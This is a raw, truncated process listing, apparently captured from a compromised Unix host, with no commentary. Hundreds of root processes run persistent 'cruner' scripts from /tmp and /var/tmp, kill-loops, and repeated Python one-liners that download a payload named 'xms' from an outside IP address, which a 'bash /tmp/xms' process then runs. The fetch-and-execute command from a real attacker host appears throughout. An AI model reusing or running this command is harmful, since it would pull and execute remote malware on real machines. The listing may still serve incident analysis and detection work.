fbi.urlopen("http://209.141.40.190/xms"). > root 21734 7064 0 15:45:57 ? 0:00 sleep 60 > root 7392 25201 0 15:46:07 ? 0:00 bash -sh > root 17935 20700 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22218 28277 0 - ? 0:00 <defunct> > root 11991 21603 0 - ? 0:00 <defunct> > root 6157 15602 0 15:45:31 ? 0:00 sleep 60 > root 6538 1155 0 15:45:04 ? 0:00 bash -sh > root 16738 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8813 5990 0 15:44:56 ? 0:00 bash -sh > root 26602 26583 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4799 4453 0 - ? 0:00 <defunct> > root 23984 22657 0 - ? 0:00 <defunct> > root 7532 6293 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26273 9651 0 15:46:05 ? 0:00 sleep 60 > root 20787 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16607 2634 0 - ? 0:00 <defunct> > root 21559 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1645 8088 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27610 5216 0 15:45:47 ? 0:00 sleep 60 > root 13737 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11454 9974 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6014 1 0 13:03:53 ? 0:00 sh /var/tmp/cruner > root 15051 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18015 27109 0 15:45:51 ? 0:00 sleep 60 > root 26810 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18360 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20778 23497 0 15:45:26 ? 0:00 bash -sh > root 15487 21292 0 - ? 0:00 <defunct> > root 27883 7627 0 15:45:34 ? 0:00 sleep 60 > root 1683 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23625 23866 0 15:45:30 ? 0:00 sleep 60 > root 12104 14595 0 - ? 0:00 <defunct> > root 14598 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29325 15024 0 - ? 0:00 <defunct> > root 22283 4155 0 15:45:42 ? 0:00 bash -sh > root 12257 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3073 4552 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7135 11015 0 - ? 0:00 <defunct> > root 20318 29825 0 - ? 0:00 <defunct> > root 29293 7422 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12303 24587 0 - ? 0:00 <defunct> > root 10705 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15912 26045 0 15:46:08 ? 0:00 bash -sh > root 16228 19656 0 15:45:46 ? 0:00 bash -sh > root 2765 29951 0 15:43:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9753 737 0 - ? 0:00 <defunct> > root 29968 18253 0 15:45:27 ? 0:00 bash -sh > root 18276 22413 0 15:45:37 ? 0:00 bash -sh > root 25747 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8040 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5830 6765 0 - ? 0:00 <defunct> > root 3908 10222 0 15:43:18 ? 0:00 bash -sh > root 28488 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7942 13744 0 15:45:09 ? 0:00 bash -sh > root 18647 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11458 29364 0 - ? 0:00 <defunct> > root 3185 6926 0 - ? 0:00 <defunct> > root 5280 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4125 4972 0 15:46:11 ? 0:00 sed -e s/\/.*//g > root 910 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5745 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9577 7208 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5451 9468 0 15:43:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28165 12131 0 15:45:18 ? 0:00 sleep 60 > root 3981 17412 0 15:45:58 ? 0:00 sleep 60 > root 4704 1426 0 15:45:31 ? 0:00 sleep 60 > root 21032 4400 0 - ? 0:00 <defunct> > root 84 22988 0 - ? 0:00 <defunct> > root 13967 12184 0 - ? 0:00 <defunct> > root 1758 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6291 11704 0 15:44:13 ? 0:00 bash -sh > root 9968 14088 0 - ? 0:00 <defunct> > root 20958 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20277 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25186 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25949 25876 0 - ? 0:00 <defunct> > root 26775 23312 0 - ? 0:00 <defunct> > root 15916 24068 0 - ? 0:00 <defunct> > root 5907 15409 0 - ? 0:00 <defunct> > root 16433 11698 0 15:43:27 ? 0:00 bash -sh > root 11304 20402 0 - ? 0:00 <defunct> > root 21294 14223 0 15:46:01 ? 0:00 bash -sh > root 26024 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16679 10142 0 - ? 0:00 <defunct> > root 4428 6803 0 - ? 0:00 <defunct> > root 5122 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1227 27502 0 15:46:06 ? 0:00 bash -sh > root 11769 15760 0 15:45:59 ? 0:00 bash -sh > root 7896 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20572 5459 0 15:45:52 ? 0:00 sh /var/tmp/cruner > root 8958 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6676 17036 0 - ? 0:00 <defunct> > root 19864 18131 0 15:44:53 ? 0:00 bash -sh > root 23825 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1947 17586 0 15:45:35 ? 0:00 sleep 60 > root 25162 9553 0 15:44:09 ? 0:00 bash -sh > root 12537 11737 0 15:46:08 ? 0:00 bash -sh > root 13449 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17482 9856 0 15:42:33 ? 0:00 bash -sh > root 4021 8351 0 15:46:06 ? 0:00 sleep 60 > root 17209 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11827 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10378 10770 0 15:46:07 ? 0:00 sleep 60 > root 17683 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16277 27127 0 15:46:08 ? 0:00 sleep 60 > root 3487 29034 0 15:45:09 ? 0:00 sh /tmp/cruner > root 28363 19831 0 15:46:02 ? 0:00 sleep 60 > root 25929 10844 0 15:44:54 ? 0:00 bash -sh > root 27974 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1320 6818 0 15:45:58 ? 0:00 sleep 60 > root 19174 29911 0 15:46:00 ? 0:00 sleep 60 > root 3248 6592 0 - ? 0:00 <defunct> > root 12313 19687 0 15:43:44 ? 0:00 bash -sh > root 25335 25316 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27874 12355 0 15:44:21 ? 0:00 bash -sh > root 1554 9308 0 15:45:48 ? 0:00 sleep 60 > root 13572 4236 0 - ? 0:00 <defunct> > root 2615 16513 0 15:45:58 ? 0:00 sleep 60 > root 5536 23145 0 15:45:58 ? 0:00 sleep 60 > root 14649 23141 0 - ? 0:00 <defunct> > root 14827 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9409 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22716 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2707 37 0 15:43:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6738 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12853 12245 0 - ? 0:00 <defunct> > root 25390 11128 0 15:45:57 ? 0:00 sleep 60 > root 16537 4992 0 15:46:08 ? 0:00 xargs kill -9 > root 5291 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12768 12764 0 15:44:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2989 28278 0 15:45:14 ? 0:00 bash -sh > root 1767 1 0 14:15:51 ? 0:00 sh /var/tmp/cruner > root 21241 13961 0 15:45:02 ? 0:00 bash -sh > root 9745 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14067 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6050 8297 0 15:45:20 ? 0:00 sleep 60 > root 12870 9659 0 15:44:43 ? 0:00 bash -sh > root 29425 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12337 29681 0 15:46:13 ? 0:00 bash -sh > root 5335 6120 0 - ? 0:00 <defunct> > root 11131 4042 0 15:44:51 ? 0:00 bash -sh > root 9401 4243 0 15:46:12 ? 0:00 xargs kill -9 > root 1353 3473 0 15:46:11 ? 0:00 xargs kill -9 > root 26569 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17611 19190 0 15:44:06 ? 0:00 bash -sh > root 7499 12939 0 15:44:13 ? 0:00 bash -sh > root 4647 15256 0 15:44:03 ? 0:00 bash -sh > root 28355 3067 0 15:45:18 ? 0:00 sleep 60 > root 5618 21160 0 15:46:06 ? 0:00 sleep 60 > root 20737 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16676 10975 0 15:45:26 ? 0:00 sleep 60 > root 1231 27385 0 15:45:27 ? 0:00 sleep 60 > root 9842 731 0 15:46:07 ? 0:00 sleep 60 > root 10218 17148 0 15:45:10 ? 0:00 bash -sh > root 1047 27303 0 15:43:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14207 12117 0 - ? 0:00 <defunct> > root 27282 26582 0 15:45:47 ? 0:00 bash -sh > root 29248 25825 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 25261 4669 0 15:46:05 ? 0:00 sleep 60 > root 5707 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1166 24945 0 15:46:11 ? 0:00 bash -sh > root 4884 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16634 10869 0 15:45:29 ? 0:00 sleep 60 > root 4284 4057 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19731 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13428 13730 0 - ? 0:00 <defunct> > root 25193 22248 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13800 13787 0 - ? 0:00 <defunct> > root 24751 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17748 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8120 17847 0 - ? 0:00 <defunct> > root 162 16445 0 15:46:06 ? 0:00 bash -sh > root 15547 12016 0 15:45:51 ? 0:00 bash -sh > root 18776 25520 0 - ? 0:00 <defunct> > root 23341 23940 0 15:46:09 ? 0:00 awk {print $7} > root 22421 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10124 3891 0 - ? 0:00 <defunct> > root 12684 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29810 12290 0 15:45:48 ? 0:00 sh /tmp/cruner > root 4823 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16439 16030 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22357 16448 0 - ? 0:00 <defunct> > root 11045 13278 0 15:45:55 ? 0:00 bash -sh > root 8081 724 0 15:46:07 ? 0:00 sleep 60 > root 11420 16372 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11662 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20042 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12706 10631 0 15:45:11 ? 0:00 bash -sh > root 6455 19730 0 15:45:49 ? 0:00 sleep 60 > root 20897 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28877 8348 0 15:45:27 ? 0:00 sleep 60 > root 10025 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18275 5127 0 15:44:57 ? 0:00 bash -sh > root 21740 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2392 2391 0 - ? 0:00 <defunct> > root 243 28758 0 15:43:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23325 8879 0 15:45:30 ? 0:00 bash -sh > root 13748 24575 0 - ? 0:00 <defunct> > root 1267 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9178 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22272 21485 0 - ? 0:00 <defunct> > root 9521 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27760 26170 0 15:46:02 ? 0:00 sh /tmp/cruner > root 12265 18186 0 - ? 0:00 <defunct> > root 5388 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3563 13297 0 - ? 0:00 <defunct> > root 26702 19210 0 15:45:18 ? 0:00 sleep 60 > root 22371 12004 0 - ? 0:00 <defunct> > root 20354 7898 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 1594 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26246 10419 0 15:45:47 ? 0:00 xargs kill -9 > root 21339 29901 0 15:46:01 ? 0:00 bash -sh > root 25865 15024 0 - ? 0:00 <defunct> > root 14388 7055 0 15:45:51 ? 0:00 bash -sh > root 2289 5192 0 15:45:19 ? 0:00 sleep 60 > root 18879 9565 0 15:45:16 ? 0:00 sleep 60 > root 27486 5361 0 - ? 0:00 <defunct> > root 1714 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1716 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17158 15391 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24108 492 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7874 19753 0 15:46:07 ? 0:00 bash -sh > root 18778 21727 0 - ? 0:00 <defunct> > root 6120 7960 0 15:45:40 ? 0:00 bash -sh > root 26707 3036 0 15:45:18 ? 0:00 sleep 60 > root 12841 12760 0 15:44:15 ? 0:00 bash -sh > root 20682 7041 0 - ? 0:00 <defunct> > root 20084 6828 0 15:46:09 ? 0:00 sleep 60 > root 23507 22348 0 - ? 0:00 <defunct> > root 14986 14977 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5094 19230 0 15:44:42 ? 0:00 bash -sh > root 19454 4493 0 15:45:38 ? 0:00 bash -sh > root 2948 24656 0 15:44:12 ? 0:00 bash -sh > root 12836 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27000 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9931 9911 0 15:45:50 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7001 41 0 - ? 0:00 <defunct> > root 24733 18643 0 15:46:05 ? 0:00 sleep 60 > root 14319 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5026 11360 0 15:45:40 ? 0:00 sleep 60 > root 9900 13611 0 15:46:12 ? 0:00 bash -sh > root 540 25433 0 15:46:02 ? 0:00 bash -sh > root 23278 611 0 15:45:38 ? 0:00 bash -sh > root 12421 15552 0 15:46:08 ? 0:00 xargs kill -9 > root 26284 10536 0 - ? 0:00 <defunct> > root 3508 6168 0 15:44:12 ? 0:00 bash -sh > root 27115 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15040 20458 0 15:45:11 ? 0:00 bash -sh > root 338 28838 0 15:45:27 ? 0:00 sleep 60 > root 24935 21305 0 15:45:52 ? 0:00 sleep 60 > root 13948 14702 0 15:45:50 ? 0:00 bash -sh > root 14502 4167 0 15:46:13 ? 0:00 bash /tmp/xms > root 27410 21352 0 15:45:34 ? 0:00 sleep 60 > root 18910 4335 0 15:46:09 ? 0:00 bash -sh > root 9590 12485 0 15:45:15 ? 0:00 bash -sh > root 15443 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1983 1856 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5207 5006 0 - ? 0:00 <defunct> > root 6932 1990 0 - ? 0:00 <defunct> > root 10213 22536 0 - ? 0:00 <defunct> > root 8049 17788 0 15:45:09 ? 0:00 bash -sh > root 14221 205 0 15:46:08 ? 0:00 xargs kill -9 > root 20498 15736 0 15:45:42 ? 0:00 sleep 60 > root 6594 3049 0 15:44:56 ? 0:00 bash -sh > root 17939 3545 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15375 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25607 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13188 15087 0 15:46:13 ? 0:00 xargs kill -9 > root 12245 7326 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 27638 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2014 8751 0 15:44:55 ? 0:00 bash -sh > root 8356 2429 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27460 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19862 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19647 14144 0 15:45:46 ? 0:00 xargs kill -9 > root 1674 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23880 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11509 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16639 77 0 15:45:42 ? 0:00 xargs kill -9 > root 13069 14984 0 15:46:08 ? 0:00 sleep 60 > root 9240 1901 0 15:45:54 ? 0:00 bash -sh > root 15361 2105 0 15:45:25 ? 0:00 bash -sh > root 8184 3234 0 15:45:10 ? 0:00 sh /tmp/cruner > root 12099 27171 0 15:44:15 ? 0:00 bash -sh > root 13811 7994 0 15:44:16 ? 0:00 bash -sh > root 18045 18044 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16195 10801 0 - ? 0:00 <defunct> > root 22523 4011 0 15:45:42 ? 0:00 xargs kill -9 > root 22002 23994 0 15:46:01 ? 0:00 sleep 60 > root 12442 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13276 2532 0 15:45:11 ? 0:00 bash -sh > root 4245 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15032 1 0 16:43:00 ? 0:01 sh /tmp/cruner > root 2788 1972 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6657 11161 0 15:45:04 ? 0:00 bash -sh > root 14077 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10138 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20199 21866 0 15:46:00 ? 0:00 sleep 60 > root 15528 13170 0 15:46:08 ? 0:00 sh /tmp/cruner > root 12669 17358 0 15:46:08 ? 0:00 bash -sh > root 16213 2136 0 15:45:56 ? 0:00 bash -sh > root 22786 16251 0 - ? 0:00 <defunct> > root 686 680 0 15:44:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23244 4459 0 15:44:08 ? 0:00 bash -sh > root 5720 2872 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11671 4461 0 15:45:15 ? 0:00 sleep 60 > root 16326 1 0 03:08:25 ? 0:00 sh /var/tmp/cruner > root 274 28422 0 15:45:34 ? 0:00 sleep 60 > root 29707 14422 0 15:43:16 ? 0:00 bash -sh > root 7019 6995 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20110 16394 0 15:45:42 ? 0:00 sleep 60 > root 15538 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26494 2028 0 15:45:18 ? 0:00 sleep 60 > root 2017 17928 0 15:45:24 ? 0:00 sleep 60 > root 16271 12018 0 15:45:22 ? 0:00 sleep 60 > root 24427 4723 0 15:45:43 ? 0:00 bash -sh > root 626 14310 0 - ? 0:00 <defunct> > root 23509 13758 0 - ? 0:00 <defunct> > root 12451 10091 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23400 1997 0 15:44:58 ? 0:00 bash -sh > root 20920 17689 0 15:44:07 ? 0:00 bash -sh > root 5273 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8427 18218 0 15:45:28 ? 0:00 sleep 60 > root 28060 28027 0 15:43:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19423 5813 0 15:45:26 ? 0:00 sleep 60 > root 1557 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20817 1 0 19:37:40 ? 0:00 sh /var/tmp/cruner > root 20618 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 68 13695 0 - ? 0:00 <defunct> > root 9618 14523 0 - ? 0:00 <defunct> > root 14976 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16456 13947 0 15:46:08 ? 0:00 sh /tmp/cruner > root 24577 10042 0 - ? 0:00 <defunct> > root 1093 28394 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6669 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25532 29158 0 15:45:57 ? 0:00 sleep 60 > root 20700 9724 0 15:44:53 ? 0:00 bash -sh > root 29043 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3662 17421 0 15:46:06 ? 0:00 bash -sh > root 29749 3064 0 - ? 0:00 <defunct> > root 22133 25030 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 9647 7770 0 - ? 0:00 <defunct> > root 27870 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28200 23779 0 15:45:57 ? 0:00 /bin/ksh -p /bin/kill -9 > root 12881 15869 0 - ? 0:00 <defunct> > root 10512 14472 0 15:45:36 ? 0:00 bash -sh > root 27200 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18840 14199 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14445 14428 0 15:43:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14719 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23531 15675 0 15:45:43 ? 0:00 sh /tmp/cruner > root 4893 12757 0 15:44:50 ? 0:00 bash -sh > root 15543 17816 0 15:46:08 ? 0:00 bash -sh > root 22368 11379 0 15:44:27 ? 0:00 bash -sh > root 19062 22657 0 - ? 0:00 <defunct> > root 29358 24857 0 15:45:34 ? 0:00 xargs kill -9 > root 21946 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10814 10794 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20188 26566 0 - ? 0:00 <defunct> > root 19102 27497 0 15:45:51 ? 0:00 bash -sh > root 11672 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18947 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8431 12382 0 15:45:36 ? 0:00 bash -sh > root 21085 1033 0 - ? 0:00 <defunct> > root 8540 22439 0 15:45:45 ? 0:00 bash -sh > root 14826 11924 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 27589 1099 0 - ? 0:00 <defunct> > root 18566 28434 0 15:45:56 ? 0:00 xargs kill -9 > root 20728 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20929 29863 0 15:45:17 ? 0:00 bash -sh > root 7472 3636 0 - ? 0:00 <defunct> > root 28796 26187 0 15:46:02 ? 0:00 sleep 60 > root 21476 16814 0 15:45:29 ? 0:00 sleep 60 > root 7548 8173 0 - ? 0:00 <defunct> > root 10103 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4908 4662 0 - ? 0:00 <defunct> > root 6574 29832 0 15:45:04 ? 0:00 bash -sh > root 6040 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11096 13084 0 15:45:15 ? 0:00 bash -sh > root 15147 20249 0 15:46:08 ? 0:00 bash -sh > root 10701 3117 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29105 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13206 12181 0 - ? 0:00 <defunct> > root 12185 20002 0 - ? 0:00 <defunct> > root 22718 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15863 20449 0 15:44:52 ? 0:00 bash -sh > root 18616 3828 0 15:46:04 ? 0:00 sleep 60 > root 155 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 606 15336 0 - ? 0:00 <defunct> > root 14605 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13021 9714 0 15:46:13 ? 0:00 awk {print $7} > root 20359 5239 0 15:44:31 ? 0:00 bash -sh > root 13109 16476 0 - ? 0:00 <defunct> > root 29082 28927 0 15:45:47 ? 0:00 sleep 60 > root 23327 19127 0 15:44:58 ? 0:00 bash -sh > root 11212 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19743 3969 0 15:45:22 ? 0:00 sleep 60 > root 11258 28633 0 - ? 0:00 <defunct> > root 19180 16498 0 15:43:39 ? 0:00 bash -sh > root 17625 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5378 27306 0 15:46:06 ? 0:00 sleep 60 > root 5528 14591 0 - ? 0:00 <defunct> > root 22558 3812 0 15:44:32 ? 0:00 bash -sh > root 15230 2572 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4467 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21333 19489 0 15:45:12 ? 0:00 bash -sh > root 10038 20512 0 15:46:07 ? 0:00 sleep 60 > root 2066 1576 0 15:45:19 ? 0:00 sleep 60 > root 15289 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17873 6342 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 8639 12168 0 15:44:03 ? 0:00 bash -sh > root 24852 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15292 15274 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27229 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20222 20214 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12035 13322 0 15:45:55 ? 0:00 sleep 60 > root 12419 11477 0 - ? 0:00 <defunct> > root 9411 4984 0 - ? 0:00 <defunct> > root 16352 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4051 8527 0 15:46:06 ? 0:00 sleep 60 > root 9405 12867 0 15:45:50 ? 0:00 bash -sh > root 23533 15168 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 25428 20645 0 - ? 0:00 <defunct> > root 12002 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7347 17775 0 15:45:28 ? 0:00 sleep 60 > root 23268 21461 0 - ? 0:00 <defunct> > root 5584 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9544 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12386 5113 0 15:45:41 ? 0:00 sleep 60 > root 438 15868 0 - ? 0:00 <defunct> > root 13471 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24767 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14577 11261 0 - ? 0:00 <defunct> > root 29179 16743 0 15:45:34 ? 0:00 sleep 60 > root 21581 19362 0 15:45:12 ? 0:00 bash -sh > root 5822 21859 0 15:45:20 ? 0:00 sleep 60 > root 26604 5495 0 15:45:57 ? 0:00 xargs kill -9 > root 29103 140 0 15:45:18 ? 0:00 sleep 60 > root 27576 9477 0 15:45:18 ? 0:00 sleep 60 > root 5585 5582 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26452 6368 0 15:46:05 ? 0:00 sleep 60 > root 20258 10817 0 - ? 0:00 <defunct> > root 24119 13958 0 15:43:14 ? 0:00 bash -sh > root 24552 16399 0 15:45:33 ? 0:00 sleep 60 > root 4630 11209 0 - ? 0:00 <defunct> > root 4324 28277 0 - ? 0:00 <defunct> > root 24972 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11540 6653 0 15:43:20 ? 0:00 bash -sh > root 7747 1 0 22:41:36 ? 0:00 sh /var/tmp/cruner > root 6709 4546 0 15:46:03 ? 0:00 bash -sh > root 5583 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27850 8293 0 15:45:34 ? 0:00 sleep 60 > root 3967 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1718 26056 0 15:45:19 ? 0:00 sleep 60 > root 25166 25566 0 - ? 0:00 <defunct> > root 14186 2949 0 15:45:25 ? 0:00 xargs kill -9 > root 14937 27765 